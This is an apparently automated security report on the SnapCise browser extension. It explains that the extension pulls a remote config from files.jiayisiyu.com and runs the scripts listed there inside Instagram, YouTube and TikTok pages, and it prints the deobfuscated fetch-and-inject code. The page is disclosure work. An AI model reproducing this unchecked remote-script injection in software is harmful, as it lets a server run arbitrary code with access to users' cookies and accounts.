Is SnapCise闪选 safe?
SnapCise fetches script URLs from a remote config and injects them into Instagram, YouTube and TikTok pages.
On startup the extension downloads a config file from files.jiayisiyu.com that lists script URLs. Its content script fetches each listed script and runs it inside Instagram, YouTube, TikTok, jia-ai.com and joinyen.com pages, where it has access to the page's DOM and cookies. The script URLs are not checked against an allowlist or integrity hash, so the server controls what runs.
Who publishes itashestan814 - 2 other listings from the same operator, 2 of them carrying a finding
ashestan814 - 2 other listings from the same operator, 2 of them carrying a finding
What this publisher told the store about itself, and the other listings that told it the same thing.
Same store account
2 other listings published from this account, 1k+ users between them. 2 of them carry a finding.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Remote config can inject downloaded scripts into Instagram and TikTok pages
Code analysis shows a remote config file can list script URLs.
The content script downloads each one and runs it as an inline script in Instagram, YouTube and TikTok pages, with no integrity check.
- Severity
- High unwanted
- Type
- Unexpected
- CWE
- CWE-829
- Source
- Static analysis
You open an Instagram, YouTube or TikTok page.
The content script also matches jia-ai.com and joinyen.com.
The extension downloads every script URL named in its remote config and runs it inside the page.
The URL list comes from files.jiayisiyu.com and can be changed without a store update.
- Config hosthttps://files.jiayisiyu.com/influencer-discovery-configs/config.json
files.jiayisiyu.com/influencer-discovery-configs/ serves version.json and config.json.
- injectedScriptUrls
List of script URLs, as plain strings or objects, fetched and run in the page.
- host_regex (optional)instagram\.com (illustrative)
If set, the script runs only on pages whose host or URL matches the pattern.
- Storage keydynamic_config_data
The config is cached in extension storage until the version changes.
Config download and script injection
Background: config fetch
assets/background.ts-CNKIKfNq.js// background service worker// On browser start and on install: poll version.json; if the version differs,// download config.json and store it as chrome.storage.local 'dynamic_config_data'.async function d() { try { let e = e => e.startsWith(`http`) ? e : chrome.runtime.getURL(e), t = e(`https://files.jiayisiyu.com/influencer-discovery-configs/version.json`), n = e(`https://files.jiayisiyu.com/influencer-discovery-configs/config.json`), r = await fetch(`${t}?t=${Date.now()}`); if (!r.ok) throw Error(`HTTP ${r.status}`); let i = await r.json(), a = String(i.version), o = (await chrome.storage.local.get([u]))[u]; if (a !== o) { let t = await fetch(`${n}?t=${Date.now()}`); if (!t.ok) throw Error(`HTTP ${t.status}`); let r = await t.json(); await chrome.storage.local.set({ [u]: a, [l]: r }) } } catch (e) {}}chrome.runtime.onStartup.addListener(() => { d() }), chrome.runtime.onInstalled.addListener(() => { d() });Content script: script injection
assets/exportInfluencers-DyXrW9CG.js// content script (instagram / youtube / tiktok / jia-ai / joinyen pages)// For each entry in config.injectedScriptUrls: an http(s) URL is downloaded as text// and appended as an inline <script>, so it runs in the page's own JS context.// No allowlist, hash or signature is checked on the URL or the downloaded text.async function $r(e) { for (let t of e) { let e = typeof t == `string` ? t : t?.url, n = typeof t == `string` ? `` : t?.host_regex; if (e) { if (n) try { let t = new RegExp(n); if (!t.test(window.location.host) && !t.test(window.location.href)) continue } catch (t) { continue } try { if (e.startsWith(`http://`) || e.startsWith(`https://`)) { let t = await (await fetch(e)).text(), n = document.createElement(`script`); n.textContent = t, (document.head || document.documentElement).appendChild(n), n.remove() } else { let t = document.createElement(`script`), n = e.startsWith(`/`) ? e.slice(1) : e; t.src = chrome.runtime.getURL(n), (document.head || document.documentElement).appendChild(t), t.onload = () => t.remove() } } catch (t) {} } }}async function ei() { let n = async () => { let e = t.config?.injectedScriptUrls; e && Array.isArray(e) && await $r(e) }; /* runs once the stored config has loaded */}- files.jiayisiyu.com
Serves the remote config that lists script URLs to inject.
Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.
Where it sends data
Destinations our analysis observed snapcise闪选 contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.
- files.jiayisiyu.com
snapcise闪选 sends data to files.jiayisiyu.com. One other extension we have analysed sends data here.